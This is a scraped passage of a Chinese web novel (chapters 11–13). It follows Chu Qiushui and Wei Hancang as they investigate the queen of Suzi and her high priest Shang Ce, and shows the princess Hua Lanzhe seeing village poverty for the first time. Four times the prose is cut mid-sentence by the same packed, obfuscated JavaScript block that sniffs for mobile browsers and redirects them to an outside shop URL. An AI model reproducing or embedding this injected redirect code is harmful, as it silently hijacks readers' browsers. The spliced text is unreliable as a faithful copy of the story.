;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371605|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就可以彻底掌控苏眦,再也不用担心那些宵小——” “够了。”女王打断他,语气微微加重,凤眸中带着帝王的压迫,“朕不想再说第二次。你要知道,这话要是从别人嘴里说出来,早就该被朕治罪了。” 那人沉默了。 片刻后,他微微躬身,语气里带着一丝不易察觉的遗憾:“是,臣遵命。” 他顿了顿,又问:“那铸器的事,陛下可还满意?” 女王的目光闪了闪。 “进展如何?” “很顺利。”那人说,“再有半个月,应该就能完成了。” 女王点点头,脸上看不出喜怒:“下去吧。” 那人躬身行礼,退后几步,转身离去,嘴角挂着一丝诡异的笑意。 门关上,屋内只剩下女王一人。 她坐在那里,一动不动,像一尊雕像。 褚秋水正要开口说什么,忽然她发现不对。 女王的头微微动了一下。然后,她的身体开始微微颤抖,幅度不大,却让人莫名觉得诡异。 “不……不行……” 她忽然开口,声音低哑,像是另一个人在说话。 “你答应过的……” 又是一阵颤抖。 然后,她猛地抬起头,像是溺水的人终于爬上岸,眼神中是褚秋水从来没有见过的惊惶。 那眼神只存在了一瞬,就被压下去了。 女王捂住头,大口喘着气。过了好一会儿,她才慢慢平静下来,重新坐直身体。 她抬起手,抹了抹额上的汗水,随后靠在龙椅上,目光复杂。 片刻后,她忽然轻轻笑了一声。笑声很低,带着些许说不清的疲惫和嘲讽。 “还在挣扎什么呢……”她喃喃道,声音轻得几乎听不见,“都这么多年了……” 褚秋水的心猛地一沉。 她想起白天觐见时,女王那一瞬间的眼神恍惚。 那不是错觉。 两人对视一眼,悄无声息地把瓦片盖回去。卫寒苍朝那个男人离开的方向努了努嘴,褚秋水会意,两人沿着屋顶悄悄跟了上去。 那男人走得很快,穿过几道回廊,拐进一座偏殿。殿门没关,里面的灯火透出来,在地上拉出一道长长的影子。 卫寒苍轻车熟路地找到屋顶上一个隐蔽的位置,掀开瓦片。褚秋水凑过去,两人一起往下看。 殿内陈设简单,一张书案,几架书,墙上挂着一幅巨大的舆图。那男人背对着她们站在书案前,案上摊着几卷画轴。 他拿起一卷,展开对着烛光端详。 褚秋水眯起眼——画上是一个年轻男子,剑眉星目,面容俊朗,看着不过二十出头。那人看了一会儿,摇摇头,卷起来放到一边。又拿起第二卷。 这回画上的人更年轻些,眉眼柔和,带着几分书卷气。那人看了许久,指尖在画上的人像上轻轻划过,像是在丈量什么。最后他还是摇了摇头,放到另一边。 第三卷、第四卷、第五卷……他一卷一卷地看,每一卷都看得很仔细。烛火跳动着,在他脸上投下忽明忽暗的光影。他的表情很认真,认真得不像是在欣赏,倒像是在……挑选。 褚秋水压低声音:“这是在给郡主挑夫婿?” 卫寒苍没说话,只是盯着那人的手。 那人终于停在其中一卷画轴上。画上的人约莫二十五六,生得浓眉大眼,身量魁梧,看着就是一副好身板。那人把画轴举到烛光下,里里外外看了好几遍,嘴角渐渐浮起一丝笑意。 那笑意和之前在女王寝宫时一模一样——温和,却让人后背发凉。 他喃喃自语了一句什么,声音太轻,隔着屋顶听不真切。但褚秋水看见他的口型了。 “这个……不错。” 他把画轴小心地卷起来,收进书案下的暗格里。其余的画轴则被他抱到墙角,一把火烧了个干净。 火光映在他脸上,那张温文尔雅的面孔在明灭间显出一种说不清的诡异。 褚秋水看着那堆灰烬,又看看那个暗格,心里忽然冒出一个奇怪的念头——挑夫婿,用得着这么慎重吗?而且那些画上的人,长得都有些眼熟…… 她还没来得及细想,卫寒苍轻轻拉了拉她的袖子。 “走了。” 两人如来时一般,悄无声息地退了出去。 11. 秘密 看来这苏眦王室暗藏着不小的秘密。 回到寝殿,关上门,褚秋水瘫在床上,长长地吐了口气。 回到寝殿,关上门,褚秋水靠在门板上,把刚才看见的又想了一遍。 “你说,他看那些画像,到底是在看什么?” 卫寒苍走到桌边倒了杯茶,慢悠悠地喝了一口。 “你猜。” 褚秋水想了想:“给华兰泽选驸马?” 卫寒苍看了她一眼,那目光里带着一点意味深长。 “也许吧。”他说,“不过选驸马,用得着烧掉落选的吗?” 褚秋水愣住了。 “而且,”卫寒苍放下茶杯,“那些画上的人,你注意了吗?” “注意什么?” “画上那些人,”他说,“倒是有几个,长得跟他自己年轻时候挺像。” 烛火跳了跳。 褚秋水后背忽然有点发凉。 “而且,你看到了吗,那个男人一直……”她又提起在女王宫殿中见到的场景。 卫寒苍点点头,脸色比平时凝重。 “一直在引导女王接受什么。”卫寒苍接过话,“但女王拒绝了。” 褚秋水心里隐有不安,女王最后的状态肯定不对,但这个问题,又不能直接问女王。 两人都没再说话。 过了许久,卫寒苍站起身,走到她面前,又拿出那块毛巾。 “你头发还没干透。”卫寒苍看了一眼她的发梢,“躺下,我再给你擦擦。” “不用了吧……” “躺下。” 褚秋水不敢反驳,只能乖乖躺下。 卫寒苍拿起帕子,继续给她擦头发。动作比之前轻了许多,一下一下,像是怕弄疼她。 褚秋水枕在她膝上,看着她的侧脸,心里全是今晚的谜团。 烛火摇曳,一室静谧。 过了一会儿,卫寒苍忽然开口:“秋水。” “嗯?” “如果有一天,你发现我骗了你……”她顿了顿,“你会怎么办?” 褚秋水愣了愣,然后笑了:“那要看是什么事了,具体问题具体分析。” 卫寒苍低头看她。 烛光下,她的眼睛亮亮的,干净得像山间的溪水。 她忽然移开视线,继续擦头发。 “……真是个呆子。” “你又骂我。” “我不是,我没有,你别瞎说啊。” 窗外,月色如水。 远处,隐约传来更夫的梆子声。 咚,咚,咚。 已经三更天了。 翌日清晨,阳光被纱帐滤得更加柔软,柔柔地洒在床榻上。 褚秋水是被一阵敲门声吵醒的。 “褚姑娘,卫公子,陛下口谕——” 她迷迷糊糊地睁开眼,发现自己枕在卫寒苍肩上,她的手臂搭在她腰间,两人像两只猫一样蜷在一起。 她愣了愣,然后轻轻挪开她的手,坐起身来。 卫寒苍也醒了,睡眼惺忪地看着她,头发乱糟糟的。 “谁啊……” “传话的。”褚秋水已经起身,拿起外衣披上,“说陛下有请。” 卫寒苍打了个哈欠,慢吞吞地爬起来。 两人洗漱完毕,推开门,外面站着个内侍,恭恭敬敬地行礼:“两位,郡主已经在等着了。” 郡主? 褚秋水一愣,跟着内侍往外走。 穿过几道回廊,远远就看见华兰泽站在一座亭子里。 她今日换了一身鹅黄色的衣裙,比昨日那身劲装柔和了许多,长发梳成双环髻,簪着几朵珠花,整个人看起来青春洋溢。 只是她一看见褚秋水,耳尖就红了。 “咳。”她清了清嗓子,努力板着脸,“母后让我带你们四处转转。” 褚秋水点点头:“有劳郡主。” 华兰泽看她一眼,飞快地移开视线,转身就走。 “跟我来。” 褚秋水跟上去,卫寒苍走在旁边,嘴角噙着一丝若有若无的笑。 华兰泽带他们走的不是前日进宫的那条路,而是一条偏道。 “这是哪儿?”褚秋水问。 “王宫的后苑。”华兰泽头也不回,“母皇说,你们既然来了苏眦,就该见识见识我们苏眦的气派。” 她顿了顿,语气里带着点骄傲:“苏眦现在这样,都是母皇一手建立的。” 褚秋水没说话。 华兰泽带她们穿过梧桐道,眼前豁然开朗。 是一片碑林。 大大小小的石碑立在那里,有的高过人头,有的只及腰间。每块碑上都刻着字,密密麻麻,有些已经被风雨侵蚀得模糊不清。 “这是什么?”褚秋水问。 “国史碑。”华兰泽走到第一块碑前,伸手抚摸着上面的字迹,“这一块,母后登基那一年立的。” 褚秋水走过去,看着碑上的字。 字迹工整,一笔一划,像是刻碑的人用了十分的心力。 上面记载的,是四十年前苏眦的样子。 内有连年干旱,导致田地里颗粒无收。外有邻国侵扰,边境不宁。国库空虚,民不聊生,一时间人人自危。 “那时候,苏眦什么都没有。”华兰泽的声音从旁边传来,带着点说不清的情绪,“母后接手的时候,她才十六岁。十六岁,比我现在还小一岁。” 褚秋水转头看她。 华兰泽站在石碑前,目光落在那些字迹上,脸上有骄傲,有心疼,还有点别的什么。 “她一个人撑起了整个国家。”华兰泽说,“没有钱,她就削减开支,裁撤冗杂,把省下来的银子拿去赈灾。没有人,她就亲自去边境谈判,跟那些邻国的君主周旋。没有粮,她就带着人去开荒,亲手种下第一茬麦子……” 她说着,声音微微发颤。 “你知道吗,她登基的前几年,几乎没有睡过一个整觉。内忧外患,扰得她无法安眠。有几次累得晕倒在御书房,醒来第一句话问的还是灾民安置好了没有……” 褚秋水听着女王的丰功伟绩,心中亦是动容。 她又想起昨晚看见的女王——那个坐在御座上,雍容华贵,威仪赫赫的女人。也是那个深夜颤抖着、被什么东西夺舍的孤魂。 “后来呢?”她问。 华兰泽深吸一口气,带着她往前走。 第二块碑,第三块碑,第四块碑…… 每一块碑上都刻着一段历史。 第十年,苏眦终于有了存粮。 第十五年,边境安定,邻国来朝。 第二十年,国库充盈,百姓安居。 第二十五年,苏眦成为西域最强盛的国家之一。 碑文上的字迹,从最初的沉重,渐渐变得轻快。到了最后几块碑,刻的都是盛世景象——路不拾遗,夜不闭户,商旅往来,络绎不绝。 华兰泽站在最后一块碑前,看着上面的字,眼眶微微发红。 “母皇用三十年时间,把苏眦从一个什么都没有的穷国,变成现在这样。”她说,“所以我很崇拜她,以后,我会把这些都修进史书中,我要给母皇单独立传。” 褚秋水看着她,忽然问:“那村里的百姓呢?” 华兰泽一愣,没想到话题换转得这么快。 “什么?” “村子。”褚秋水说,“我们来的时候,住的那个村子。那里的百姓,为什么过得那么苦?” 华兰泽愣住了。 她张了张嘴,想说什么,却什么都说不出来。 “你说的这些碑文,刻的都是盛世。”褚秋水指着那些石碑,“可是我在那个村子里看到的,是三年没有盐吃的老人,是瘦得皮包骨头的孩子,是被搜刮一空的屋子。” 她看着华兰泽,目光平静。 “郡主,你说苏眦现在是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371606|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盛世。那他们呢?他们算什么?在这里,有他们的位置吗。” 华兰泽的脸色变了。 她站在那里,一动不动,像是被人当头浇了一盆冷水。 “我……”她张了张嘴,声音发涩,“我不知道……” 她是真的不知道。 从小到大,她看到的都是王宫的繁华,是母后的威严,是朝臣的恭敬。她学过治国之道,背过典章律法,可从来没有人告诉过她,那些条文落在百姓身上,会是什么样子。 “郡主不知道?”一个声音忽然响起。 三人同时转头。 不远处的梧桐树下,站着一个男人。 他穿着深色的官袍,身形修长,面容俊美——正是昨晚那个穿着祭典礼服的人。 他缓步走来,嘴角噙着一丝淡淡的笑意。 “郡主不知道,那臣来告诉郡主。”他在华兰泽面前站定,微微躬身,“那些百姓过的苦日子,就是治理国家小小的代价而已。” 褚秋水的眉头皱了起来。 华兰泽看着他,脸色复杂:“商大人……” 这人姓商? 见褚秋水有些疑惑,华兰泽悄悄告诉她,这人叫商策,是苏眦国的大祭司。 商策直起身,目光从华兰泽脸上扫过,落在褚秋水身上。 “这位就是昨日与郡主切磋的那位姑娘?”他笑了笑,语气温和,“果然英姿飒爽,名不虚传。” 褚秋水没说话,只是点点头。 他也不在意,自顾自地说下去:“姑娘方才问,那些百姓为什么过得苦。这个问题,臣来替郡主回答。” 他顿了顿,缓缓道:“因为国家需要。” “三十年前,苏眦什么都没有。陛下励精图治,才有了今日的盛世。可盛世是要代价的——要养军队,要修水利,要建王宫,要办庆典。这些钱从哪里来?” 他微微倾身,看着褚秋水,目光里带着一丝怜悯:“姑娘,你吃的粮食,是从地里长出来的。可你知不知道,那些种粮的人,可能自己都吃不饱?” 褚秋水沉默。 “卖油的娘子水梳头,这就是代价。”商策语气平静,“总要有人吃苦,才能换来别人的甜。总要有人付出,才能换来国家的强大。” 他看着褚秋水,笑了笑:“姑娘觉得不公平?可这世上,从来就没有绝对的公平。” 风从梧桐叶间穿过,吹得树叶沙沙作响。 华兰泽站在那里,嘴唇微微发抖。她想说什么,却什么都说不出来。 褚秋水看着她,又看看商策。 她忽然笑了。她很少这样笑,那笑容很淡,却让人莫名觉得有些冷。 “商大人说得对。”她说,“这世上没有绝对的公平。” 她顿了顿,目光直视着他:“可我想问一句——那些吃苦的人,凭什么就该他们吃苦?” 商策微微挑眉。 “大人方才说,总要有人吃苦,才能换来别人的甜。”褚秋水一字一句道,“那我想请问,那些吃苦的人,他们换来的是什么?” 她上前一步,声音不高,却字字清晰:“大人,您说的‘别人’,是谁?” 商姓男子看着她,目光里闪过一丝什么。 片刻后,他忽然笑了。 “姑娘好口才。”他说,“只是姑娘有没有想过,若是没有这些人吃苦,就没有今日的苏眦。没有今日的苏眦,那些人连吃苦的机会都没有。” 他微微躬身,语气依旧温和:“姑娘是外乡人,不了解苏眦的国情,有些话说出来,臣可以理解。只是……” 他抬起头,目光忽然变得幽深:“有些事,不是非黑即白的。” 褚秋水毫不畏惧,与他对视。 阳光从树叶缝隙里漏下来,落在他脸上,明明灭灭。 褚秋水感觉到,这个男人身上,有什么东西让人很不舒服。那种感觉,就像昨晚在女王寝宫看见的那抹笑意一样幽冷。 12. 亲自去看看 “商大人。”卫寒苍忽然开口,笑眯眯地走上前,“您说得太深奥了,我们这些外乡人听不懂。要不您给解释解释——那些被收走的铁,铸成什么东西了?” 商策的目光微微一凝。 他看着卫寒苍,脸上依旧是那副温和的笑,只是眼底有什么东西一闪而过。 “这位是……” “只是一个无名小辈。”卫寒苍笑得一脸无害,“就是好奇。那么多铁,总得铸点什么东西吧?” 商姓男子沉默了一瞬,然后笑了。 “您说笑了。”他说,“那些铁,自然是铸成了兵器、农具、器物,充实国库,造福百姓。” “是吗?”卫寒苍歪了歪头,“可我听说,这些年百姓家里连口铁锅都没有,都用陶罐煮饭。” 商姓男子的笑容顿了顿。 “姑娘听谁说的?” “不是听谁说的。”卫寒苍眨眨眼,一脸无辜,“是我们亲眼看见的。” 商姓男子看着他,目光渐渐深沉。 片刻后,他忽然笑了一声。 “姑娘好眼力。”他说,“只是有些事,不是表面上看起来那么简单的。” 他转过身,看向华兰泽,微微躬身。 “郡主,臣还有公务在身,先行告退。” 他转身离去,步伐沉稳,不疾不徐。 阳光落在他背上,在地上投下长长的影子。风穿过树梢,沙沙作响。 褚秋水站在原地,看着那道背影消失的方向,眉头紧锁。 卫寒苍走到她身边,压低声音:“这人不太对劲。” 褚秋水点点头。 华兰泽站在那里,脸色依旧苍白。她看着褚秋水,张了张嘴,想说什么,却什么都说不出来。 “郡主。”褚秋水看着她,“你还好吗?” 华兰泽摇了摇头,又点了点头,最后低下头去。 褚秋水看着她,忽然有些心软。 这姑娘,从小被保护得太好了,只知书上写的,像被保护在玻璃罩子中,不知真实的世界。 她走上前,伸手拍了拍华兰泽的肩膀。 “不知道就去看。”她说,“亲自去看那些村子,去看那些百姓。纸上得来终觉浅,绝知此事要躬行。等看完了,你就知道了。” 华兰泽抬起头,看着她。 那双眼睛里,有迷茫,有不安,也有一丝隐隐的光。 “……我可以吗?我之前从来没出去过,上次见你们,是我第一次出王宫。” “为什么不可以?”褚秋水笑了,“你是郡主,想去哪儿就去哪儿。” 华兰泽看着她,眼眶忽然红了。 她飞快地低下头,把脸埋下去,不让褚秋水看见。 褚秋水和她又说了几句,就准备和卫寒苍离开了。 华兰泽袖中捏着昨天晚上那个香囊,心中正在天人交战。 她又和那个女孩子走了,她要回去了,以后还能有借口再约她出来吗。 干脆现在就和她说吧。 “等一下!” 华兰泽突然出声,拦住要离开的两人。 “还有什么事吗。”褚秋水果然停下来了。 华兰泽脸上红云乍现:“我……我东西想送给你。” 说出这句话华兰泽就后悔了。 万一她不知道她的意思呢,万一她拒绝她了呢,万一…… 见她一直扭捏不说话,卫寒苍心里明白了七八分,忍不住开口催着:“不说话我们就走了。” 说完拉着褚秋水,恨不得一秒飞回住所。 华兰泽也怕褚秋水和她走了,急急上前,取下自己腰间的玉牌,也不敢看褚秋水,就塞到她手里。 “这个……这个送你了,以后你要干什么事情也方便。当然,拿这个来见我也可以……” 丢下这句话,华兰泽就逃也似的离开了。 卫寒苍望着她逃走的身影,冷哼一声,挽着褚秋水的手更紧了点。 褚秋水自然是一脑门子的摸不清楚,看不出这其中的官司。 她想追上去问个清楚,毕竟无功不受禄,平白拿人家东西也不好。但身旁卫寒苍挽得紧,她挣不开。 就这一会功夫,华兰泽就跑得无影无踪了。 褚秋水也只好暂时收着这个玉牌,想着时机适合就还给她。 深夜,华兰泽的东宫还点着灯。 她趴在香案上,指尖扒拉着白天没送出去的香囊,脑中全是褚秋水的话。 她原来会这么温柔、这么耐心地鼓励别人。可惜今天没把香囊送出去,但是玉牌送出去了,也是一大进步吧。 她会懂我的意思吗,会主动来找…… 算了算了,她不来找我,我就去找她。她不是鼓励我实地考察吗,我明天就去。 翌日清晨,阳光刚爬上窗棂,华兰泽就站在了褚秋水的寝殿门口。 她今日换了身寻常衣裳,月白色的襦裙,外罩一件青色的半臂,头发也只简单梳了个髻,插了根素银簪子。乍一看,倒像个乡间的悠闲女郎。 只是她站在门口来回踱步的样子,怎么看都像只热锅上的蚂蚁。 “郡主?”守门的内侍小心翼翼地问,“您这是……” “咳。”华兰泽清了清嗓子,努力让自己看起来镇定一些,“我来找……找褚姑娘。她起了吗?” 话音刚落,门开了。 褚秋水一身利落的劲装,大剑背在身后,精神抖擞地出现在门口。看见华兰泽,她愣了愣:“郡主?这么早?” 华兰泽的耳尖又红了。 “我……我昨晚想了想,”她努力让自己的声音平稳,“你说得对,纸上得来终觉浅。所以我决定,今天就去实地考察一下。” 她顿了顿,飞快地看了褚秋水一眼:“你……你能陪我一起去吗?” 褚秋水还没来得及回答,身后就传来一个懒洋洋的声音。 “哟,郡主亲自来请啊?” 卫寒苍从褚秋水身后探出半个脑袋,头发还有些乱,眼下淡淡的青黑证明她昨晚睡得不太踏实。 她看了看华兰泽,又看了看褚秋水,嘴角扯出一个似笑非笑的弧度。 “这怎么好意思,让郡主亲自跑一趟。” 华兰泽看着她,莫名觉得这话里带着点刺。但她顾不上细想,只眼巴巴地看着褚秋水。 褚秋水想了想,点头:“行,正好我也想回村里看看。” 华兰泽眼睛一亮。 卫寒苍在旁边幽幽地补了一句:“那我呢?” “你当然一起去啊。”褚秋水理所当然地说,“三个人热闹。” 卫寒苍的嘴角微微上扬,快步走到褚秋水身边,得意地看了华兰泽一眼。 华兰泽再钝感,都看出了其中的挑衅意味。但碍于这里人多,她也只能暂时按捺下此刻的不耐。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371607|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 三人出了王宫,一路往村子走去。 华兰泽第一次以这种方式走在街上,看什么都新鲜,很快就把刚才的不快忘记了。 她一会儿指着路边卖糖人的小摊问“这是捏了个什么”,一会儿又盯着人家屋檐下晾晒的腊肉发呆,活像只刚出笼的鸟。 “你没见过这些?”褚秋水问。 华兰泽摇头:“没有。我从小到大,出门都是坐马车,帘子拉得严严实实的。母皇说,外面不安全。” 褚秋水看着她,忽然有点理解她之前对百姓的现状这么不了解了。 卫寒苍听了,在一旁悠悠开口:“那郡主今天可要跟紧我们,别走丢了。这街上人这么多,万一被人贩子拐走了……” “你才被人贩子拐走!”华兰泽瞪她。 卫寒苍笑眯眯地往褚秋水身边凑了凑:“我有秋水姐姐保护,不怕。” 华兰泽看着她那只搭在褚秋水胳膊上的手,眼睛微微眯了眯。 她走上前,自然而然地站到褚秋水另一边,语气随意地问:“对了,昨天那个商策,你们是不是觉得他很奇怪?” 褚秋水的注意力果然被转移了:“他是什么人?” “大祭司。”华兰泽说,“苏眦的祭司和其他地方不一样,不只是管祭祀,还会向上天祈求启示,来保证大势运转。” 卫寒苍挑眉:“启示?什么启示?” “就是……占卜。”华兰泽斟酌着措辞,“这种占卜所耗费人力物力极大,一般十年甚至几十年才会有一次,每次占卜的结果,没有不应验的。” 褚秋水和卫寒苍对视一眼。 “那最近一次的占卜……”褚秋水问。 华兰泽沉默了一瞬,低声道:“就是有关盐和铁的。” 她顿了顿,继续说:“我听母皇说过,三十年前,商策刚刚上任,就占卜出一个预言:手握盐与铁的人,将来到这个国家,终结这个王朝。母皇就是根据这个预言,开始收集盐铁的。” 褚秋水微微点头。那个预言,和她听周伯说过差不多一致。看来女王收集盐铁,是想通过这个方式来阻止预言发生吗。 她还注意到了一个细节。 “你说商策是三十年前占卜出来的预言,他怎么现在还这么年轻?”褚秋水问。 “他们祭司都是这样,”华兰泽耸耸肩,“从他们当选祭司那一刻,就容颜永驻了。直到生命快要终结时,才会瞬间衰老得不成样子。” 褚秋水沉默了。 卫寒苍忽然开口:“那些祭司,是怎么选出来的呀?” 华兰泽愣了愣,回忆一下:“好像是上一任死后自动转世,落在任何一个人身上都有可能。母皇之前还下过令,禁止祭司私自转世。怎么了?” “没什么。”卫寒苍笑了笑,“就是好奇。” 见卫寒苍好奇,华兰泽更是有了多说两句的想法:“并且,每一任祭司都是天授神权,不用什么培训,就可以自由掌握沟通天地的能力。” 她们三个人一边说着,一边继续往前走。 华兰泽算是发现,只要她跟褚秋水说话,卫寒苍就会凑过来,要么插一句嘴,要么往褚秋水身边挨一挨。 而只要她试图靠近褚秋水另一边,卫寒苍就会不知道会从哪里钻出来,轻轻巧巧地拦住她。 抢又抢不过,直接计较又显得她很小气。 她咬了咬牙,决定不理她。 13. 体验 村子到了。 还是那副破败的样子,土墙斑驳,茅草屋顶塌陷,孩子们光着脚在土路上跑。 但今天不一样的是,村民们看见褚秋水,脸上都露出了笑容。 “褚姑娘回来了!” “卫公子也来了!” “快,去告诉周伯!” 华兰泽站在一旁,看着村民们热情地围上来,心里忽然有些不是滋味。 这些人,看见她这个郡主的时候,可不是这副表情。不过幸好她今天化了妆,和那天的样子不太像。 周伯从人群里挤出来,看见褚秋水,眼眶又红了:“姑娘,你没事吧?那天王宫来的人……没为难你吧?” “没有。”褚秋水笑着拍拍他的肩,“周伯,还是老样子,今天我是带人来帮你们干活的。” 她一指华兰泽:“这位是……我的朋友,什么活她都能学着干。周伯,您给安排安排?” 周伯看了看华兰泽,有些拘谨地点点头:“好,好……” 华兰泽站在原地,忽然有些不知所措。 干活? 怎么干?她之前从来没干过。 周伯想了想,安排她去挑水。 华兰泽看着面前那根扁担和两只木桶,陷入了沉思。 “这……怎么用?” 褚秋水示范了一遍。扁担上肩,水桶下井,一提一拉,满满两桶水就上来了。 “就这样。”她把扁担递给华兰泽,“试试。” 华兰泽接过扁担,往肩上一放—— “哎哟!” 扁担差点从肩上滑下来。她手忙脚乱地扶住,水桶晃来晃去,洒了半路。 卫寒苍在旁边看得直乐:“郡……华小姐,你这是挑水还是洒水啊?” 华兰泽瞪她,但顾不上还嘴,因为水桶又开始晃了。 她咬着牙,一步一步往前走,扁担在肩上压出一道红印。等她好不容易走到周伯家门口,两桶水已经只剩小半桶了。 “我……我成功了?”她气喘吁吁地问。 周伯看着那点水,欲言又止。 褚秋水拍了拍她的肩:“第一次,不错了。” 华兰泽刚想笑,就听卫寒苍在旁边小声嘀咕:“半桶水,够干嘛的……” 她深吸一口气,决定不理她。 下一项:生火做饭。 华兰泽蹲在灶台前,手里拿着火折子,对着灶膛里的柴火使劲吹。 吹一下,冒烟。 再吹一下,还是冒烟。 再吹一下—— “呼!” 火苗蹿起来,差点烧到她的发梢。 华兰泽吓得往后一仰,一屁股坐在地上。 褚秋水连忙把她拉起来:“没事吧?” 华兰泽摇头,脸上却沾了灶灰,黑一道白一道的,像只花猫。 卫寒苍在旁边笑得直不起腰:“郡主,你这是做饭还是烧厨房啊?” 华兰泽忍无可忍:“你行你来!” “我来就我来。”卫寒苍撸起袖子,蹲到灶台前,动作娴熟地点火、添柴、吹气——一气呵成,火苗稳稳地烧起来。 她回头,冲华兰泽微微一笑:“看,这不就行了?” 华兰泽:“……” 她一把把对方挤开,她就不信了,她华兰泽还有干不好的事。 看见她们两个积极干活的模样,褚秋水感到非常欣慰,把厨房留给她们两个就出去砍柴了。 华兰泽看着那些被褚秋水教过的孩子们,他们面色红润,和其他人不同,忍不住去多问了几句。 午饭是一锅野菜粥。 华兰泽端着碗,看着碗里那点稀薄的米粒和蔫巴巴的野菜,半天下不去嘴。 “怎么了?”褚秋水问。 华兰泽犹豫了一下,小声说:“我……从来没吃过这个。” “那就尝尝。”褚秋水说,“这就是他们每天吃的东西。” 华兰泽看着她,又看看碗里的粥,终于低头喝了一口。 寡淡无味,还有一股野菜的涩味。 她嚼了嚼,忽然问:“这粥……怎么没放盐?” 周伯在旁边苦笑道:“小姑娘,我们这儿,三年没吃过盐了。” 华兰泽愣住了。 她想起自己说过的说的“每户每月定额配给”,想起那些亲自核过的账目,那些她以为万无一失的数字。 账目上,这个村子明明每月都领了盐的。 那盐呢? 她放下碗,忽然没了胃口。 下午,褚秋水带她去地里干活。 翻地、除草、施肥,每一件都是华兰泽从来没做过的事。 她笨手笨脚地挥着锄头,没一会儿手上就磨出了水泡。太阳晒得她头晕眼花,汗水顺着脸颊往下淌,滴在干裂的土地上。 “累了就歇会儿。”褚秋水说。 华兰泽摇头,咬着牙继续干。 她忽然想起那些书里写的。百姓“日出而作,日落而息”“勤恳劳作,安居乐业”。 那些字写得那么漂亮,可她从来没想过,原来“日出而作”是这么累的。 太阳落山时,她瘫坐在田埂上,浑身酸疼,手上全是血泡。 卫寒苍走过来,递给她一个水囊。 华兰泽抬头看她,以为她要说什么风凉话。 但她什么都没说,只是把水囊塞进她手里,转身走了。 华兰泽愣了一下,感觉她这个人也没那么讨厌。 回村的路上,华兰泽一直沉默。 她看着那些破败的屋子,看着那些瘦弱的孩子,看着那些被搜刮一空的粮仓。 这些都是账目上没有的。 “秋水。”她忽然开口。 “嗯?” “你说的对。”华兰泽低下头,声音闷闷的,“我确实什么都不知道。” 褚秋水看着她,没有说话。 “我一直以为,母皇做的都是对的。”华兰泽继续说,“她那么厉害,把苏眦治理得那么好。书上写的,账上记的,都是盛世……” 她顿了顿,声音有些发颤:“可为什么,他们过得这么苦?” 褚秋水拍了拍她的肩。 “书上的位置很窄,它只为王侯将相作传,为盗侠义勇题记。”她说,“它从来不以百姓为主角,从他们的角度来写。你要想了解他们,只能都进他们的生活,自己去看。” 华兰泽抬起头,看着她。 夕阳的余晖落在褚秋水脸上,给她的轮廓镀上一层淡淡的金边。 华兰泽的心忽然漏跳了一拍。 她飞快地低下头去,不让人看见自己发烫的脸。 旁边,卫寒苍看着这一幕,轻轻哼了一声。 她走上前,自然而然地站到两人中间,一手挽住褚秋水的胳膊。 “走吧,天快黑了,该回去了。” 华兰泽看着她的手,忽然觉得牙又开始痒了。 三人往王宫的方向走去。 送走一直缠着她聊天的华兰泽,褚秋水拖着劳动了一天的身子回到寝殿。 卫寒苍早已洗漱完毕,正歪在榻上翻着一本不知从哪摸来的书。见她进来,眼皮都不抬一下:“回来了?” “嗯。”褚秋水把大剑靠在墙边,一屁股瘫在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371608|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 椅子上,顺手摸起杯茶,“今天可真累。” “累?”卫寒苍翻了一页书,语气幽幽的,“陪着郡主殿□□验民情,多有意思啊。挑水、生火、锄地,一样不落。我看你教得挺开心的嘛。” 饶是褚秋水再迟钝,也发现了对方话里有刺,转头看去。 烛光下,卫寒苍的脸隐在半明半寐的光影里,表情看不太清。 “你怎么了?”褚秋水问。 “没怎么。”卫寒苍又翻了一页书,“就是感慨,有些人平时对我爱答不理的,对别人倒是又耐心又温柔。” 褚秋水:“……我对你什么时候爱答不理了?” “没有吗?” “没有。” “那今天一整天,你主动跟我说话了吗?” 褚秋水努力回忆了一下,好像……确实没有。光顾着带华兰泽体验生活,确实有些疏忽了。 她有点心虚地摸了摸鼻子:“那不是……忙着嘛。” 